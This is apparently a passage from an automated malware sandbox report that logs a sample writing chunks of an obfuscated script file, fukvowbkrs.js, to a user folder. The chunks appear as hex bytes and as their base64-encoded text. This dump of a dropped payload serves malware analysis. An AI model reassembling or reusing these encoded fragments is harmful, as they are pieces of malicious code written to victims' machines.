34 4d 7a 56 63 65 44 
5a 45 58 48 67 32 4f 
46 78 34 4e 54 4e 63 
65 44 59 78 58 48 67 
33 4d 56 78 34 4e 54 
6d 63 65 44 4d 35 58 
48 67 7a 4e 31 78 34 
4e 44 4e 63 65 44 51 
32 58 48 67 32 4e 6c 
78 34 4d 7a 5a 63 65 
44 55 79 58 48 67 32 
51 56 78 34 4e 44 68 
63 65 44 55 34 58 48 
67 33 4e 56 78 34 4e 
7a 52 63 65 44 55 32 
58 48 67 31 4f 46 78 
34 4e 54 6c 63 65 44 
4a 47 58 48 67 31 4e 
31 78 34 

zlceDUzXHg2QVx4NzVce
DMzXHg1NVx
4NDhceDc1XHgzMFx4Nz
JceDREXHg1M
lx4NzlceDQzXHg0Rlx4Mz
RceDU1XHg
0Nlx4NzBceDU4XHg1Nlx4
NkFceDZEX
Hg0NFx4MzVceDZEXHg2
OFx4NTNceDY
xXHg3MVx4NTmceDM5X
HgzN1x4NDNce
DQ2XHg2Nlx4MzZceDUy
XHg2QVx4NDh
ceDU4XHg3NVx4NzRceD
U2XHg1OFx4N
TlceDJGXHg1N1x4

success or wait 3 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 6b 4e 63 65 44 4d 34 
58 48 67 32 4f 46 78 
34 4e 54 46 63 65 44 
4d 78 58 48 67 30 52 
6c 78 34 4e 6b 5a 63 
65 44 55 77 58 48 67 
31 4e 46 78 34 4e 45 
5a 63 65 44 52 43 58 
48 67 32 4d 56 78 34 
4e 6a 68 63 65 44 52 
43 58 48 67 7a 4e 6c 
78 34 4e 7a 4a 63 65 
44 63 7a 58 48 67 31 
4e 6c 78 34 4d 7a 4a 
63 65 44 4d 30 58 48 
67 31 4d 56 78 34 4d 
7a 46 63 65 44 52 44 
58 48 67 32 51 31 78 
34 4e 6a 46 63 65 44 
59 79 58 48 67 7a 4f 
56 78 34 4d 6b 4a 63 
65 44 5a 44 58 48 67 
33 4d 6c 78 34 4e 7a 
4e 63 65 44 51 34 58 
48 67 30 4e 31 78 34 
4d 7a 4a 63 65 44 4d 
33 58 48 67 32 4d 31 
78 34 4e 44 4e 63 65 
44 63 33 58 48 67 30 
4e 6c 78 34 4e 7a 52 
63 65 44 4d 79 58 48 
67 32 51 31 78 34 4e 
44 52 63 65 44 63 77 
58 48 67 32 4e 6c 78 
34 4e 6a 46 63 65 44 
63 34 58 48 67 30 4f 
46 78 34 

kNceDM4XHg2OFx4NTFc
eDMxXHg0Rlx
4NkZceDUwXHg1NFx4NE
ZceDRCXHg2M
Vx4NjhceDRCXHgzNlx4N
zJceDczXHg
1Nlx4MzJceDM0XHg1MV
x4MzFceDRDX
Hg2Q1x4NjFceDYyXHgzO
Vx4MkJceDZ
DXHg3Mlx4NzNceDQ4XH
g0N1x4MzJce
DM3XHg2M1x4NDNceDc3
XHg0Nlx4NzR
ceDMyXHg2Q1x4NDRceD
cwXHg2Nlx4N
jFceDc4XHg0OFx4

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 44 56 63 65 44 4d 32 
58 48 67 32 4e 46 78 
34 4e 6a 46 63 65 44 
51 31 58 48 67 30 4e 
31 78 34 4e 6a 56 63 
65 44 51 30 58 48 67 
30 52 46 78 34 4e 6a 
56 63 65 44 4d 77 58 
48 67 32 4d 31 78 34 
4e 6a 46 63 65 44 63 
78 58 48 67 7a 4d 46 
78 34 4e 6a 5a 63 65 
44 55 35 58 48 67 79 
51 6c 78 34 4e 7a 68 
63 65 44 52 46 58 48 
67 31 4e 31 78 34 4e 
54 68 63 65 44 55 35 
58 48 67 32 52 56 78 
34 4e 44 4a 63 65 44 
52 45 58 48 67 33 4d 
46 78 34 4e 54 6d 63 
65 44 63 77 58 48 67 
30 51 31 78 34 4e 6a 
68 63 65 44 5a 45 58 
48 67 30 4e 56 78 34 
4e 54 6d 63 65 44 52 
43 58 48 67 7a 4f 46 
78 34 4e 6b 56 63 65 
44 52 44 58 48 67 31 
4e 56 78 34 4e 45 52 
63 65 44 4d 34 58 48 
67 32 4e 46 78 34 4e 
7a 68 63 65 44 4d 7a 
58 48 67 7a 4e 56 78 
34 4e 6b 5a 63 65 44 
4d 77 58 48 67 31 4e 
6c 78 34 

DVceDM2XHg2NFx4NjFce
DQ1XHg0N1x
4NjVceDQ0XHg0RFx4NjV
ceDMwXHg2M
1x4NjFceDcxXHgzMFx4Nj
ZceDU5XHg
yQlx4NzhceDRFXHg1N1x
4NThceDU5X
Hg2RVx4NDJceDREXHg3
MFx4NTmceDc
wXHg0Q1x4NjhceDZEXHg
0NVx4NTmce
DRCXHgzOFx4NkVceDR
DXHg1NVx4NER
ceDM4XHg2NFx4NzhceD
MzXHgzNVx4N
kZceDMwXHg1Nlx4

success or wait 1 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 7a 42 63 65 44 52 46 
58 48 67 30 52 6c 78 
34 4e 54 46 63 65 44 
4d 33 58 48 67 7a 4e 
56 78 34 4d 7a 46 63 
65 44 6d 42 58 48 67 
7a 4d 6c 78 34 4e 6a 
4a 63 65 44 55 77 58 
48 67 7a 4d 56 78 34 
4e 54 6d 63 65 44 4d 
31 58 48 67 33 4d 46 
78 34 4e 54 4a 63 65 
44 63 32 58 48 67 32 
4e 31 78 34 4e 54 5a 
63 65 44 51 33 58 48 
67 33 4e 46 78 34 4e 
44 4a 63 65 44 55 78 
58 48 67 32 4e 6c 78 
34 4e 7a 4e 63 65 44 
4e 46 58 48 67 79 4e 
56 78 34 4e 44 42 63 
65 44 59 34 58 48 67 
31 4e 56 78 34 4e 7a 
4e 63 65 44 55 32 58 
48 67 32 4e 56 78 34 
4e 7a 5a 63 65 44 4d 
35 58 48 67 32 4e 56 
78 34 4e 44 6c 63 65 
44 52 45 58 48 67 30 
4e 6c 78 34 4e 6b 52 
63 65 44 4d 78 58 48 
67 7a 4d 31 78 34 4d 
7a 4a 63 65 44 4d 30 
58 48 67 32 4d 6c 78 
34 4e 54 42 63 65 44 
51 34 58 48 67 30 51 
56 78 34 

zBceDRFXHg0Rlx4NTFce
DM3XHgzNVx
4MzFceDmBXHgzMlx4NjJ
ceDUwXHgzM
Vx4NTmceDM1XHg3MFx
4NTJceDc2XHg
2N1x4NTZceDQ3XHg3NF
x4NDJceDUxX
Hg2Nlx4NzNceDNFXHgyN
Vx4NDBceDY
4XHg1NVx4NzNceDU2XH
g2NVx4NzZce
DM5XHg2NVx4NDlceDRE
XHg0Nlx4NkR
ceDMxXHgzM1x4MzJceD
M0XHg2Mlx4N
TBceDQ4XHg0QVx4

success or wait 1 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4e 54 56 63 65 44 
51 31 58 48 67 33 4d 
31 78 34 4e 44 52 63 
65 44 51 79 58 48 67 
30 4d 6c 78 34 4e 54 
46 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 51 
7a 58 48 67 7a 52 56 
78 34 4d 6a 56 63 65 
44 51 77 58 48 67 32 
4e 31 78 34 4e 44 6c 
63 65 44 4e 46 58 48 
67 79 4e 56 78 34 4e 
44 42 63 65 44 52 42 
58 48 67 33 4d 31 78 
34 4e 54 6d 63 65 44 
55 32 58 48 67 7a 4d 
56 78 34 4e 44 6c 63 
65 44 4e 46 58 48 67 
79 4e 56 78 34 4e 44 
42 63 65 44 4e 46 58 
48 67 79 4e 56 78 34 
4e 44 42 63 65 44 4e 
46 58 48 67 79 4e 56 
78 34 4e 44 42 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 4e 46 58 48 
67 79 4e 56 78 34 4e 
44 42 63 65 44 4e 46 
58 48 67 79 4e 56 78 
34 4e 44 42 63 65 44 
4e 46 58 48 67 79 4e 
56 78 34 

0VceDI1XHg0MFx4NTVce
DQ1XHg3M1x
4NDRceDQyXHg0Mlx4NT
FceDNFXHgyN
Vx4NDBceDQzXHgzRVx4
MjVceDQwXHg
2N1x4NDlceDNFXHgyNVx
4NDBceDRBX
Hg3M1x4NTmceDU2XHgz
MVx4NDlceDN
FXHgyNVx4NDBceDNFX
HgyNVx4NDBce
DNFXHgyNVx4NDBceDN
FXHgyNVx4NDB
ceDNFXHgyNVx4NDBceD
NFXHgyNVx4N
DBceDNFXHgyNVx4

success or wait 4 6F489FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright null 2021 Page 55 of 706



C:\Users\user\fukvowbkrs.js unknown 1024 6b 5a 63 65 44 63 77 
58 48 67 33 4d 46 78 
34 4e 7a 68 63 65 44 
59 78 58 48 67 32 4d 
56 78 34 4e 7a 56 63 
65 44 63 78 58 48 67 
30 52 46 78 34 4e 7a 
46 63 65 44 63 79 58 
48 67 31 4f 56 78 34 
4e 6a 6c 63 65 44 5a 
42 58 48 67 32 4f 56 
78 34 4e 54 46 63 65 
44 5a 45 58 48 67 32 
51 31 78 34 4e 55 46 
63 65 44 59 79 58 48 
67 32 4e 46 78 34 4e 
6a 5a 63 65 44 63 78 
58 48 67 33 4d 6c 78 
34 4d 7a 46 63 65 44 
51 34 58 48 67 7a 4e 
6c 78 34 4e 54 4a 63 
65 44 51 33 58 48 67 
33 4d 46 78 34 4e 54 
6d 63 65 44 55 79 58 
48 67 7a 4d 6c 78 34 
4e 6a 46 63 65 44 55 
77 58 48 67 7a 4d 31 
78 34 4d 30 56 63 65 
44 49 31 58 48 67 30 
4d 46 78 34 4d 7a 6d 
63 65 44 63 7a 58 48 
67 7a 4e 46 78 34 4d 
7a 4e 63 65 44 6d 42 
58 48 67 30 4e 46 78 
34 4e 44 52 63 65 44 
4d 78 58 48 67 30 4d 
6c 78 34 

kZceDcwXHg3MFx4Nzhce
DYxXHg2MVx
4NzVceDcxXHg0RFx4NzF
ceDcyXHg1O
Vx4NjlceDZBXHg2OVx4N
TFceDZEXHg
2Q1x4NUFceDYyXHg2NF
x4NjZceDcxX
Hg3Mlx4MzFceDQ4XHgz
Nlx4NTJceDQ
3XHg3MFx4NTmceDUyX
HgzMlx4NjFce
DUwXHgzM1x4M0VceDI1
XHg0MFx4Mzm
ceDczXHgzNFx4MzNceD
mBXHg0NFx4N
DRceDMxXHg0Mlx4

success or wait 2 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 54 5a 63 65 44 55 32 
58 48 67 31 4d 6c 78 
34 4e 54 56 63 65 44 
63 34 58 48 67 33 4e 
46 78 34 4e 54 5a 63 
65 44 51 33 58 48 67 
30 4e 46 78 34 4d 7a 
46 63 65 44 52 44 58 
48 67 7a 52 56 78 34 
4d 6a 56 63 65 44 51 
77 58 48 67 32 4f 46 
78 34 4e 7a 5a 63 65 
44 51 7a 58 48 67 31 
4e 31 78 34 4e 6b 4a 
63 65 44 52 43 58 48 
67 32 4e 31 78 34 4e 
54 4a 63 65 44 55 7a 
58 48 67 32 51 56 78 
34 4e 54 56 63 65 44 
59 35 58 48 67 32 51 
31 78 34 4e 6b 5a 63 
65 44 4d 79 58 48 67 
32 4f 56 78 34 4e 54 
52 63 65 44 55 78 58 
48 67 30 4d 6c 78 34 
4e 6a 6c 63 65 44 4d 
79 58 48 67 32 4f 46 
78 34 4e 54 4e 63 65 
44 59 35 58 48 67 30 
4e 46 78 34 4e 54 4a 
63 65 44 55 78 58 48 
67 30 4e 31 78 34 4e 
7a 6d 63 65 44 5a 43 
58 48 67 31 4e 56 78 
34 4e 44 4e 63 65 44 
55 32 58 48 67 30 4d 
6c 78 34 

TZceDU2XHg1Mlx4NTVce
Dc4XHg3NFx
4NTZceDQ3XHg0NFx4Mz
FceDRDXHgzR
Vx4MjVceDQwXHg2OFx4
NzZceDQzXHg
1N1x4NkJceDRCXHg2N1x
4NTJceDUzX
Hg2QVx4NTVceDY5XHg2
Q1x4NkZceDM
yXHg2OVx4NTRceDUxXH
g0Mlx4Njlce
DMyXHg2OFx4NTNceDY5
XHg0NFx4NTJ
ceDUxXHg0N1x4NzmceD
ZCXHg1NVx4N
DNceDU2XHg0Mlx4

success or wait 1 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 4a 43 58 48 67 32 4e 
6c 78 34 4e 54 46 63 
65 44 51 35 58 48 67 
79 52 6c 78 34 4e 6b 
5a 63 65 44 55 7a 58 
48 67 7a 4e 6c 78 34 
4d 7a 6c 63 65 44 52 
43 58 48 67 7a 4d 6c 
78 34 4e 44 5a 63 65 
44 52 46 58 48 67 31 
4d 56 78 34 4e 6b 4e 
63 65 44 51 35 58 48 
67 33 4f 46 78 34 4d 
7a 6c 63 65 44 52 45 
58 48 67 31 4e 31 78 
34 4e 6b 52 63 65 44 
55 34 58 48 67 30 52 
56 78 34 4e 7a 6c 63 
65 44 51 31 58 48 67 
32 4e 6c 78 34 4e 7a 
4e 63 65 44 6d 42 58 
48 67 31 4e 6c 78 34 
4e 54 56 63 65 44 52 
47 58 48 67 31 4e 46 
78 34 4e 6b 46 63 65 
44 51 34 58 48 67 33 
4e 56 78 34 4e 6a 6c 
63 65 44 4d 35 58 48 
67 31 4e 56 78 34 4e 
44 68 63 65 44 55 33 
58 48 67 33 4e 46 78 
34 4d 7a 42 63 65 44 
55 33 58 48 67 7a 4e 
46 78 34 4e 7a 68 63 
65 44 59 31 58 48 67 
33 4d 46 78 34 4e 44 
5a 63 65 

JCXHg2Nlx4NTFceDQ5X
HgyRlx4NkZc
eDUzXHgzNlx4MzlceDRC
XHgzMlx4ND
ZceDRFXHg1MVx4NkNce
DQ5XHg3OFx4
MzlceDREXHg1N1x4NkRc
eDU4XHg0RV
x4NzlceDQ1XHg2Nlx4NzN
ceDmBXHg1
Nlx4NTVceDRGXHg1NFx
4NkFceDQ4XH
g3NVx4NjlceDM5XHg1NV
x4NDhceDU3
XHg3NFx4MzBceDU3XHg
zNFx4NzhceD
Y1XHg3MFx4NDZce

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 5a 42 58 48 67 32 51 
6c 78 34 4e 6a 68 63 
65 44 59 79 58 48 67 
32 4d 31 78 34 4e 7a 
4a 63 65 44 51 32 58 
48 67 32 52 6c 78 34 
4e 45 4a 63 65 44 51 
34 58 48 67 30 4f 56 
78 34 4e 54 4a 63 65 
44 5a 42 58 48 67 32 
4d 56 78 34 4e 54 68 
63 65 44 59 79 58 48 
67 33 4e 31 78 34 4d 
7a 6d 63 65 44 63 30 
58 48 67 33 4f 56 78 
34 4e 45 56 63 65 44 
63 32 58 48 67 30 51 
6c 78 34 4e 6b 46 63 
65 44 63 79 58 48 67 
30 4e 6c 78 34 4e 44 
52 63 65 44 5a 45 58 
48 67 31 4e 56 78 34 
4e 7a 42 63 65 44 51 
79 58 48 67 30 51 6c 
78 34 4e 6b 4a 63 65 
44 4d 35 58 48 67 32 
4d 6c 78 34 4e 6b 4e 
63 65 44 52 42 58 48 
67 32 52 56 78 34 4e 
45 56 63 65 44 51 32 
58 48 67 31 4d 31 78 
34 4e 7a 68 63 65 44 
52 44 58 48 67 33 51 
56 78 34 4e 54 52 63 
65 44 52 47 58 48 67 
31 4d 6c 78 34 4e 7a 
5a 63 65 

ZBXHg2Qlx4NjhceDYyXH
g2M1x4NzJc
eDQ2XHg2Rlx4NEJceDQ4
XHg0OVx4NT
JceDZBXHg2MVx4NThce
DYyXHg3N1x4
MzmceDc0XHg3OVx4NE
VceDc2XHg0Ql
x4NkFceDcyXHg0Nlx4ND
RceDZEXHg1
NVx4NzBceDQyXHg0Qlx4
NkJceDM5XH
g2Mlx4NkNceDRBXHg2R
Vx4NEVceDQ2
XHg1M1x4NzhceDRDXHg
3QVx4NTRceD
RGXHg1Mlx4NzZce

success or wait 4 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 59 79 58 48 67 33 4e 
56 78 34 4e 6b 52 63 
65 44 63 77 58 48 67 
31 4e 31 78 34 4d 7a 
5a 63 65 44 59 31 58 
48 67 30 4f 56 78 34 
4d 7a 56 63 65 44 4a 
43 58 48 67 7a 4e 31 
78 34 4e 6a 56 63 65 
44 51 30 58 48 67 33 
4d 56 78 34 4e 7a 6c 
63 65 44 51 30 58 48 
67 31 4f 46 78 34 4e 
54 5a 63 65 44 4d 7a 
58 48 67 33 4d 31 78 
34 4e 6a 46 63 65 44 
63 35 58 48 67 33 4f 
56 78 34 4e 6a 4a 63 
65 44 63 30 58 48 67 
33 4e 31 78 34 4d 7a 
42 63 65 44 55 34 58 
48 67 31 4e 6c 78 34 
4e 45 46 63 65 44 4d 
78 58 48 67 31 4e 6c 
78 34 4e 54 52 63 65 
44 52 44 58 48 67 33 
4d 46 78 34 4d 7a 46 
63 65 44 59 34 58 48 
67 33 4f 56 78 34 4d 
7a 5a 63 65 44 59 34 
58 48 67 7a 4e 31 78 
34 4e 44 4a 63 65 44 
52 46 58 48 67 31 4e 
6c 78 34 4d 7a 52 63 
65 44 4d 79 58 48 67 
7a 4f 46 78 34 4e 54 
5a 63 65 

YyXHg3NVx4NkRceDcwX
Hg1N1x4MzZc
eDY1XHg0OVx4MzVceDJ
CXHgzN1x4Nj
VceDQ0XHg3MVx4Nzlce
DQ0XHg1OFx4
NTZceDMzXHg3M1x4NjF
ceDc5XHg3OV
x4NjJceDc0XHg3N1x4Mz
BceDU4XHg1
Nlx4NEFceDMxXHg1Nlx4
NTRceDRDXH
g3MFx4MzFceDY4XHg3O
Vx4MzZceDY4
XHgzN1x4NDJceDRFXHg
1Nlx4MzRceD
MyXHgzOFx4NTZce

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 51 7a 58 48 67 79 52 
6c 78 34 4e 54 46 63 
65 44 63 33 58 48 67 
7a 4f 56 78 34 4e 6a 
68 63 65 44 52 47 58 
48 67 33 4d 6c 78 34 
4e 7a 68 63 65 44 59 
79 58 48 67 7a 4e 31 
78 34 4e 7a 52 63 65 
44 52 46 58 48 67 30 
51 6c 78 34 4e 45 52 
63 65 44 51 34 58 48 
67 32 4e 31 78 34 4e 
6b 4e 63 65 44 63 33 
58 48 67 31 4e 31 78 
34 4e 45 4a 63 65 44 
52 44 58 48 67 31 4e 
6c 78 34 4e 44 6c 63 
65 44 63 77 58 48 67 
33 4f 46 78 34 4e 7a 
6d 63 65 44 4d 77 58 
48 67 30 4e 46 78 34 
4e 6b 46 63 65 44 5a 
42 58 48 67 79 52 6c 
78 34 4e 7a 68 63 65 
44 63 32 58 48 67 32 
4e 56 78 34 4d 7a 46 
63 65 44 51 32 58 48 
67 33 4e 31 78 34 4e 
45 56 63 65 44 4d 33 
58 48 67 7a 4e 6c 78 
34 4e 6a 4a 63 65 44 
4a 43 58 48 67 32 4d 
6c 78 34 4e 45 52 63 
65 44 4d 77 58 48 67 
7a 4e 46 78 34 4e 7a 
4e 63 65 

QzXHgyRlx4NTFceDc3XH
gzOVx4Njhc
eDRGXHg3Mlx4NzhceDY
yXHgzN1x4Nz
RceDRFXHg0Qlx4NERce
DQ4XHg2N1x4
NkNceDc3XHg1N1x4NEJc
eDRDXHg1Nl
x4NDlceDcwXHg3OFx4Nz
mceDMwXHg0
NFx4NkFceDZBXHgyRlx4
NzhceDc2XH
g2NVx4MzFceDQ2XHg3N
1x4NEVceDM3
XHgzNlx4NjJceDJCXHg2
Mlx4NERceD
MwXHgzNFx4NzNce

success or wait 3 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 5a 46 58 48 67 31 4d 
46 78 34 4d 30 56 63 
65 44 49 31 58 48 67 
30 4d 46 78 34 4e 6b 
4a 63 65 44 52 45 58 
48 67 32 51 56 78 34 
4e 6b 5a 63 65 44 55 
33 58 48 67 32 4e 46 
78 34 4e 6a 5a 63 65 
44 63 78 58 48 67 7a 
4f 56 78 34 4e 7a 6d 
63 65 44 59 34 58 48 
67 30 52 6c 78 34 4d 
7a 6d 63 65 44 55 31 
58 48 67 30 4f 56 78 
34 4e 54 6c 63 65 44 
55 35 58 48 67 32 4e 
46 78 34 4d 7a 4e 63 
65 44 63 77 58 48 67 
32 4d 6c 78 34 4e 6b 
56 63 65 44 51 33 58 
48 67 30 51 6c 78 34 
4e 6b 46 63 65 44 51 
79 58 48 67 7a 4d 56 
78 34 4d 6b 4a 63 65 
44 59 31 58 48 67 33 
4d 31 78 34 4d 7a 52 
63 65 44 55 32 58 48 
67 31 4f 56 78 34 4e 
45 56 63 65 44 55 35 
58 48 67 32 4e 31 78 
34 4d 7a 4e 63 65 44 
4a 43 58 48 67 30 4e 
31 78 34 4e 7a 52 63 
65 44 4d 33 58 48 67 
32 4f 56 78 34 4e 6a 
46 63 65 

ZFXHg1MFx4M0VceDI1X
Hg0MFx4NkJc
eDREXHg2QVx4NkZceDU
3XHg2NFx4Nj
ZceDcxXHgzOVx4Nzmce
DY4XHg0Rlx4
MzmceDU1XHg0OVx4NTl
ceDU5XHg2NF
x4MzNceDcwXHg2Mlx4Nk
VceDQ3XHg0
Qlx4NkFceDQyXHgzMVx4
MkJceDY1XH
g3M1x4MzRceDU2XHg1O
Vx4NEVceDU5
XHg2N1x4MzNceDJCXHg
0N1x4NzRceD
M3XHg2OVx4NjFce

success or wait 5 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4d 33 58 48 67 31 4e 
31 78 34 4e 7a 6d 63 
65 44 55 32 58 48 67 
7a 4d 6c 78 34 4d 7a 
68 63 65 44 59 34 58 
48 67 32 51 56 78 34 
4e 6b 5a 63 65 44 55 
30 58 48 67 32 4e 46 
78 34 4e 54 46 63 65 
44 63 77 58 48 67 33 
51 56 78 34 4d 6b 4a 
63 65 44 59 32 58 48 
67 31 4e 6c 78 34 4e 
6a 6d 63 65 44 52 44 
58 48 67 79 51 6c 78 
34 4e 44 4a 63 65 44 
4d 35 58 48 67 31 4d 
56 78 34 4e 54 4e 63 
65 44 63 33 58 48 67 
32 4d 31 78 34 4e 44 
6c 63 65 44 63 79 58 
48 67 32 52 56 78 34 
4e 44 4e 63 65 44 59 
32 58 48 67 32 4e 46 
78 34 4e 44 4e 63 65 
44 59 33 58 48 67 30 
4e 56 78 34 4d 30 56 
63 65 44 49 31 58 48 
67 30 4d 46 78 34 4d 
30 56 63 65 44 49 31 
58 48 67 30 4d 46 78 
34 4e 44 4a 63 65 44 
52 46 58 48 67 30 4d 
6c 78 34 4e 7a 6d 63 
65 44 4e 46 58 48 67 
79 4e 56 78 34 4e 44 
42 63 65 

M3XHg1N1x4NzmceDU2X
HgzMlx4Mzhc
eDY4XHg2QVx4NkZceDU
0XHg2NFx4NT
FceDcwXHg3QVx4MkJce
DY2XHg1Nlx4
NjmceDRDXHgyQlx4NDJc
eDM5XHg1MV
x4NTNceDc3XHg2M1x4N
DlceDcyXHg2
RVx4NDNceDY2XHg2NFx
4NDNceDY3XH
g0NVx4M0VceDI1XHg0M
Fx4M0VceDI1
XHg0MFx4NDJceDRFXHg
0Mlx4NzmceD
NFXHgyNVx4NDBce

success or wait 5 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 51 33 58 48 67 30 4d 
6c 78 34 4e 6b 56 63 
65 44 55 35 58 48 67 
30 52 56 78 34 4e 45 
46 63 65 44 63 35 58 
48 67 32 4e 46 78 34 
4e 54 42 63 65 44 55 
30 58 48 67 7a 4f 46 
78 34 4d 7a 42 63 65 
44 63 33 58 48 67 31 
4d 6c 78 34 4e 6b 5a 
63 65 44 56 42 58 48 
67 7a 52 56 78 34 4d 
6a 56 63 65 44 51 77 
58 48 67 30 4e 46 78 
34 4e 55 46 63 65 44 
4a 47 58 48 67 32 51 
6c 78 34 4d 6b 5a 63 
65 44 51 32 58 48 67 
33 51 56 78 34 4d 7a 
6c 63 65 44 4d 30 58 
48 67 33 4e 46 78 34 
4e 44 6c 63 65 44 4d 
34 58 48 67 79 52 6c 
78 34 4e 6a 46 63 65 
44 63 35 58 48 67 7a 
4f 46 78 34 4e 54 4a 
63 65 44 55 77 58 48 
67 7a 4d 6c 78 34 4e 
44 4e 63 65 44 5a 46 
58 48 67 30 52 46 78 
34 4e 54 4e 63 65 44 
55 7a 58 48 67 33 4e 
46 78 34 4e 54 42 63 
65 44 63 35 58 48 67 
32 4f 56 78 34 4e 54 
68 63 65 

Q3XHg0Mlx4NkVceDU5X
Hg0RVx4NEFc
eDc5XHg2NFx4NTBceDU
0XHgzOFx4Mz
BceDc3XHg1Mlx4NkZceD
VBXHgzRVx4
MjVceDQwXHg0NFx4NUF
ceDJGXHg2Ql
x4MkZceDQ2XHg3QVx4M
zlceDM0XHg3
NFx4NDlceDM4XHgyRlx4
NjFceDc5XH
gzOFx4NTJceDUwXHgzM
lx4NDNceDZF
XHg0RFx4NTNceDUzXHg
3NFx4NTBceD
c5XHg2OVx4NThce

success or wait 3 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 52 45 58 48 67 33 4d 
56 78 34 4e 6b 4a 63 
65 44 5a 44 58 48 67 
31 4d 46 78 34 4e 6b 
46 63 65 44 55 31 58 
48 67 33 4d 31 78 34 
4e 7a 52 63 65 44 55 
7a 58 48 67 7a 4f 46 
78 34 4e 44 56 63 65 
44 5a 42 58 48 67 31 
51 56 78 34 4e 44 6d 
63 65 44 51 79 58 48 
67 32 51 6c 78 34 4e 
54 6c 63 65 44 51 33 
58 48 67 31 51 56 78 
34 4e 6a 6c 63 65 44 
51 79 58 48 67 32 52 
46 78 34 4d 30 56 63 
65 44 49 31 58 48 67 
30 4d 46 78 34 4e 6b 
5a 63 65 44 55 35 58 
48 67 30 52 6c 78 34 
4e 45 52 63 65 44 63 
33 58 48 67 33 4d 31 
78 34 4e 6b 46 63 65 
44 4e 46 58 48 67 79 
4e 56 78 34 4e 44 42 
63 65 44 63 33 58 48 
67 32 4d 31 78 34 4e 
44 52 63 65 44 51 33 
58 48 67 33 4e 31 78 
34 4e 45 52 63 65 44 
51 30 58 48 67 32 51 
6c 78 34 4e 44 6d 63 
65 44 56 42 58 48 67 
32 52 56 78 34 4e 54 
6c 63 65 

REXHg3MVx4NkJceDZDX
Hg1MFx4NkFc
eDU1XHg3M1x4NzRceDU
zXHgzOFx4ND
VceDZBXHg1QVx4NDmc
eDQyXHg2Qlx4
NTlceDQ3XHg1QVx4Njlce
DQyXHg2RF
x4M0VceDI1XHg0MFx4Nk
ZceDU5XHg0
Rlx4NERceDc3XHg3M1x4
NkFceDNFXH
gyNVx4NDBceDc3XHg2M
1x4NDRceDQ3
XHg3N1x4NERceDQ0XHg
2Qlx4NDmceD
VBXHg2RVx4NTlce

success or wait 2 6F489FBC WriteFile
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C:\Users\user\fukvowbkrs.js unknown 1024 59 33 58 48 67 32 4f 
46 78 34 4e 6b 5a 63 
65 44 51 7a 58 48 67 
30 52 46 78 34 4e 6a 
6d 63 65 44 51 33 58 
48 67 32 51 6c 78 34 
4d 6b 5a 63 65 44 4d 
7a 58 48 67 30 4e 6c 
78 34 4d 6b 4a 63 65 
44 55 34 58 48 67 30 
4e 6c 78 34 4d 6b 4a 
63 65 44 6d 42 58 48 
67 7a 4d 56 78 34 4e 
6a 6d 63 65 44 63 78 
58 48 67 31 4d 56 78 
34 4e 54 68 63 65 44 
51 30 58 48 67 30 4e 
46 78 34 4e 54 6d 63 
65 44 51 7a 58 48 67 
7a 4e 56 78 34 4e 6b 
56 63 65 44 4d 34 58 
48 67 32 51 6c 78 34 
4e 6a 6c 63 65 44 51 
30 58 48 67 32 4e 31 
78 34 4e 6b 4e 63 65 
44 55 78 58 48 67 31 
4e 56 78 34 4e 45 46 
63 65 44 59 7a 58 48 
67 32 4e 31 78 34 4e 
6b 5a 63 65 44 63 33 
58 48 67 31 4e 46 78 
34 4e 45 52 63 65 44 
59 33 58 48 67 31 4d 
31 78 34 4e 6a 4e 63 
65 44 5a 44 58 48 67 
30 4d 31 78 34 4e 6b 
52 63 65 

Y3XHg2OFx4NkZceDQzX
Hg0RFx4Njmc
eDQ3XHg2Qlx4MkZceDM
zXHg0Nlx4Mk
JceDU4XHg0Nlx4MkJceD
mBXHgzMVx4
NjmceDcxXHg1MVx4NThc
eDQ0XHg0NF
x4NTmceDQzXHgzNVx4N
kVceDM4XHg2
Qlx4NjlceDQ0XHg2N1x4N
kNceDUxXH
g1NVx4NEFceDYzXHg2N
1x4NkZceDc3
XHg1NFx4NERceDY3XHg
1M1x4NjNceD
ZDXHg0M1x4NkRce

success or wait 4 6F489FBC WriteFile

C:\Users\user\fukvowbkrs.js unknown 1024 4d 78 58 48 67 31 4f 
56 78 34 4e 45 56 63 
65 44 59 34 58 48 67 
30 51 31 78 34 4e 6a 
46 63 65 44 63 7a 58 
48 67 32 4d 56 78 34 
4e 7a 42 63 65 44 55 
33 58 48 67 31 4d 46 
78 34 4e 55 46 63 65 
44 55 7a 58 48 67 33 
4d 31 78 34 4e 7a 4a 
63 65 44 4d 31 58 48 
67 7a 4e 46 78 34 4e 
6b 4a 63 65 44 4a 43 
58 48 67 30 4e 6c 78 
34 4e 44 56 63 65 44 
52 46 58 48 67 30 51 
31 78 34 4e 54 5a 63 
65 44 4d 78 58 48 67 
32 4d 31 78 34 4e 6a 
46 63 65 44 63 30 58 
48 67 79 51 6c 78 34 
4e 7a 4a 63 65 44 51 
33 58 48 67 31 4f 56 
78 34 4e 54 5a 63 65 
44 59 7a 58 48 67 32 
52 46 78 34 4e 6a 46 
63 65 44 51 32 58 48 
67 7a 4d 6c 78 34 4e 
6b 46 63 65 44 63 78 
58 48 67 32 51 56 78 
34 4e 44 56 63 65 44 
4d 35 58 48 67 33 4e 
56 78 34 4e 45 5a 63 
65 44 52 47 58 48 67 
7a 4e 31 78 34 4e 44 
4a 63 65 

